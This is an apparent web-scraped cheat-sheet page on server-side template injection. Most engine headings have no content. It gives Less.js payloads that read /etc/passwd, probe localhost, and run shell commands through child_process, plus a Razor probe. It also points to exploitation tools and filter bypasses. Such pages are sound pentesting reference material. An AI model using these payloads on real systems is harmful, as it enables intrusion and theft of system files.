Server Side Template Injection (SSTI)

ASP.NET

Razor

@(1+2)

//Command execution
@{
    //Code in C#
}

CSS

Lessjs

#SSRF / LFI
@import (inline) "http://localhost";
@import (inline) "/etc/passwd";

#Remote Command Execution
body {
  color: `global.process.mainModule.require("child_process").execSync("id")`;
}

Java

Expression Language EL

Freemarker

Pebble

Velocity

JavaScript

Handlebars

PHP

Smarty

Twig

Python

Jinja2

Mako

Ruby

Bypasses

Intruder Brute Force List

References

tplmap - Server-Side Template Injection and Code Injection Detection and Exploitation Toolç
Jinja2 template injection filter bypasses

Last updated

Was this helpful?